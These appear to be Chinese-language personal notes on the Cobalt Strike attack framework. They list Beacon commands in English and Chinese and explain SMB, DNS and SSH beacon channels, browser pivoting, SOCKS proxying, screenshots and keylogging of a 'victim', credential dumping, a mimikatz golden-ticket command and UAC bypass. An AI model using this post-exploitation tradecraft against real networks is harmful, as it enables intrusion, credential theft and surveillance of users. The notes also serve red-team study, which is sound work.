cobalt strike笔记-常用beacon扫盲

最近还是重新补一下cs的东西

0x01 Beacon命令

Beacon Commands

===============

    Command                   Description

    -------                   -----------

    argue                     Spoof arguments for matching processes

    blockdlls                 Block non-Microsoft DLLs in child processes

    browserpivot              Setup a browser pivot session

    bypassuac                 Spawn a session in a high integrity process

    cancel                    Cancel a download that's in-progress

    cd                        Change directory

    checkin                   Call home and post data

    clear                     Clear beacon queue

    connect                   Connect to a Beacon peer over TCP

    covertvpn                 Deploy Covert VPN client

    cp                        Copy a file

    dcsync                    Extract a password hash from a DC

    desktop                   View and interact with target's desktop

    dllinject                 Inject a Reflective DLL into a process

    dllload                   Load DLL into a process with LoadLibrary()

    download                  Download a file

    downloads                 Lists file downloads in progress

    drives                    List drives on target

    elevate                   Try to elevate privileges

    execute                   Execute a program on target (no output)

    execute-assembly          Execute a local .NET program in-memory on target

    exit                      Terminate the beacon session

    getprivs                  Enable system privileges on current token

    getsystem                 Attempt to get SYSTEM

    getuid                    Get User ID

    hashdump                  Dump password hashes

    help                      Help menu

    inject                    Spawn a session in a specific process

    jobkill                   Kill a long-running post-exploitation task

    jobs                      List long-running post-exploitation tasks

    kerberos_ccache_use       Apply kerberos ticket from cache to this session

    kerberos_ticket_purge     Purge kerberos tickets from this session

    kerberos_ticket_use       Apply kerberos ticket to this session

    keylogger                 Inject a keystroke logger into a process

    kill                      Kill a process

    link                      Connect to a Beacon peer over a named pipe

    logonpasswords            Dump credentials and hashes with mimikatz

    ls                        List files

    make_token                Create a token to pass credentials

    mimikatz                  Runs a mimikatz command

    mkdir                     Make a directory

    mode dns                  Use DNS A as data channel (DNS beacon only)

    mode dns-txt              Use DNS TXT as data channel (DNS beacon only)

    mode dns6                 Use DNS AAAA as data channel (DNS beacon only)

    mode http                 Use HTTP as data channel

    mv                        Move a file

    net                       Network and host enumeration tool

    note                      Assign a note to this Beacon

    portscan                  Scan a network for open services

    powerpick                 Execute a command via Unmanaged PowerShell

    powershell                Execute a command via powershell.exe

    powershell-import         Import a powershell script

    ppid                      Set parent PID for spawned post-ex jobs

    ps                        Show process list

    psexec                    Use a service to spawn a session on a host

    psexec_psh                Use PowerShell to spawn a session on a host

    psinject                  Execute PowerShell command in specific process

    pth                       Pass-the-hash using Mimikatz

    pwd                       Print current directory

    reg                       Query the registry

    rev2self                  Revert to original token

    rm                        Remove a file or folder

    rportfwd                  Setup a reverse port forward

    run                       Execute a program on target (returns output)

    runas                     Execute a program as another user

    runasadmin                Execute a program in a high-integrity context

    runu                      Execute a program under another PID

    screenshot                Take a screenshot

    setenv                    Set an environment variable

    shell                     Execute a command via cmd.exe

    shinject                  Inject shellcode into a process

    shspawn                   Spawn process and inject shellcode into it

    sleep                     Set beacon sleep time

    socks                     Start SOCKS4a server to relay traffic

    socks stop                Stop SOCKS4a server

    spawn                     Spawn a session

    spawnas                   Spawn a session as another user

    spawnto                   Set executable to spawn processes into

    spawnu                    Spawn a session under another PID

    ssh                       Use SSH to spawn an SSH session on a host

    ssh-key                   Use SSH to spawn an SSH session on a host

    steal_token               Steal access token from a process

    timestomp                 Apply timestamps from one file to another

    unlink                    Disconnect from parent Beacon

    upload                    Upload a file

    wdigest                   Dump plaintext credentials with mimikatz

    winrm                     Use WinRM to spawn a session on a host

    wmi                       Use WMI to spawn a session on a host

Command                   Description

    -------                   -----------

    browserpivot              注入受害者浏览器进程

    bypassuac                 绕过UAC

    cancel                    取消正在进行的下载

    cd                        切换目录

    checkin                   强制让被控端回连一次

    clear                     清除beacon内部的任务队列

    connect                   Connect to a Beacon peer over TCP

    covertvpn                 部署Covert VPN客户端

    cp                        复制文件

    dcsync                    从DC中提取密码哈希

    desktop                   远程VNC

    dllinject                 反射DLL注入进程

    dllload                   使用LoadLibrary将DLL加载到进程中

    download                  下载文件

    downloads                 列出正在进行的文件下载

    drives                    列出目标盘符

    elevate                   尝试提权

    execute                   在目标上执行程序(无输出)

    execute-assembly          在目标上内存中执行本地.NET程序

    exit                      退出beacon

    getprivs                  Enable system privileges on current token

    getsystem                 尝试获取SYSTEM权限

    getuid                    获取用户ID

    hashdump                  转储密码哈希值

    help                      帮助

    inject                    在特定进程中生成会话

    jobkill                   杀死一个后台任务

    jobs                      列出后台任务

    kerberos_ccache_use       从ccache文件中导入票据应用于此会话

    kerberos_ticket_purge     清除当前会话的票据

    kerberos_ticket_use       从ticket文件中导入票据应用于此会话

    keylogger                 键盘记录

    kill                      结束进程

    link                      Connect to a Beacon peer over a named pipe

    logonpasswords            使用mimikatz转储凭据和哈希值

    ls                        列出文件

    make_token                创建令牌以传递凭据

    mimikatz                  运行mimikatz

    mkdir                     创建一个目录

    mode dns                  使用DNS A作为通信通道(仅限DNS beacon)

    mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)

    mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)

    mode http                 使用HTTP作为通信通道

    mv                        移动文件

    net                       net命令

    note                      备注

    portscan                  进行端口扫描

    powerpick                 通过Unmanaged PowerShell执行命令

    powershell                通过powershell.exe执行命令

    powershell-import         导入powershell脚本

    ppid                      Set parent PID for spawned post-ex jobs

    ps                        显示进程列表

    p**ec                    Use a service to spawn a session on a host

    p**ec_psh                Use PowerShell to spawn a session on a host

    psinject                  在特定进程中执行PowerShell命令

    pth                       使用Mimikatz进行传递哈希

    pwd                       当前目录位置

    reg                       Query the registry

    rev2self                  恢复原始令牌

    rm                        删除文件或文件夹

    rportfwd                  端口转发

    run                       在目标上执行程序(返回输出)

    runas                     以另一个用户权限执行程序

    runasadmin                在高权限下执行程序

    runu                      Execute a program under another PID

    screenshot                屏幕截图

    setenv                    设置环境变量

    shell                     cmd执行命令

    shinject                  将shellcode注入进程

    shspawn                   生成进程并将shellcode注入其中

    sleep                     设置睡眠延迟时间

    socks                     启动SOCKS4代理

    socks stop                停止SOCKS4

    spawn                     Spawn a session

    spawnas                   Spawn a session as another user

    spawnto                   Set executable to spawn processes into

    spawnu                    Spawn a session under another PID

    ssh                       使用ssh连接远程主机

    ssh-key                   使用密钥连接远程主机

    steal_token               从进程中窃取令牌

    timestomp                 将一个文件时间戳应用到另一个文件

    unlink                    Disconnect from parent Beacon

    upload                    上传文件

    wdigest                   使用mimikatz转储明文凭据

    winrm                     使用WinRM在主机上生成会话

    wmi                       使用WMI在主机上生成会话

    argue                      进程参数欺骗

interact来使用Beacon

Beacon可以选择通过DNS还是HTTP协议出口网络，你甚至可以在使用Beacon通讯过程中切换HTTP和DNS。

为了能快速显示结果，可以设置 beacon>sleep 0

0x02 常用beacon隧道

tcp beacon

SMB beacon

摘官网的介绍:

SMB Beacon使用命名管道通过父级Beacon进行通讯，当两个Beacons链接后，子Beacon从父Beacon获取到任务并发送。

因为链接的Beacons使用Windows命名管道进行通信，此流量封装在SMB协议中，所以SMB Beacon相对隐蔽，绕防火墙时可能发挥奇效。

SMB Beacon的主机必须接受端口445上的连接

spawn as>选中对应的Listener>上线
或在beacon中使用命令spawn listenername

这就是派生的SMB Beacon。
当前是连接状态，Beacon上用link <ip>命令链接或者unlink <ip>命令断开它

DNS Beacon

DNS Beacon 在绕过防火墙权限维持上非常有效

关于DNS上线的域名配置：

A记录指向服务器ip -->ns记录都指向A记录域名

ns 记录

SSH beacon

内网爆破ssh机器也许会有收获，直接点cs马即可~

两种SSH Beacon连接方法

1.密码直接连接
Beacon命令:

ssh [target:port] [user] [pass]

2.ssh密匙连接

ssh [target:port] [user] [/path/to/key.pem]

链接成功后，会出现一个子beacon上线。

0x03 常用命令

Browserpivot

注入受害者浏览器进程，然后开启HTTP代理

ps/tasklist 找到浏览器进程id 例如：

注入进程：

beacon> browserpivot

注入浏览器进程成功之后，会显示： Browser Pivot HTTP proxy is at: xxx.xxx.xxx.xxx:端口号

然后就可以设置本地HTTP浏览器代理

当然当被攻击者关闭浏览器的时候，代理也就失效了，关闭此代理可使用如下命令：browserpivot stop

Socks

开启socks4a代理，代理进行内网渗透测试

beacon>socks 端口

    socks                     启动SOCKS4代理

    socks stop                停止SOCKS4

然后我们可以配置代理工具，例如proxychains.conf，添加： socks4 127.0.0.1 9999

Screenshot

截取受害者一定时间的屏幕截图，操作命令为：

beacon>screenshot [pid] <x86|x64> [run time in seconds]

或者： beacon>screenshot
然后打开View->Screenshots，则可以看到屏幕截图

4）Keylogger键盘记录器

keylogger [pid] <x86|x64>

View->Keystrokes，则可以看到键盘记录结果

powershell-import
导入各种powershell渗透框架，比如nishang的powerpreter，直接执行：

beacon> powershell-import

或者直接执行：

powershell-import [/path/to/local/script.ps1]

要执行某模块直接使用如下命令,比如

beacon> powershell xxx-xxx

kerberos

共有三个模块

也就是域中常用的手段普通票据、金银票据传递攻击

kerberos_ccache_use 　　　　 从cache文件中导入票据 
kerberos_ticket_purge　　　　清除当前会话的票据
kerberos_ticket_use　　　　　从ticket文件中导入票据

使用mimikatz:

kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE

BypassUAC
直接执行：

beacon> bypassuac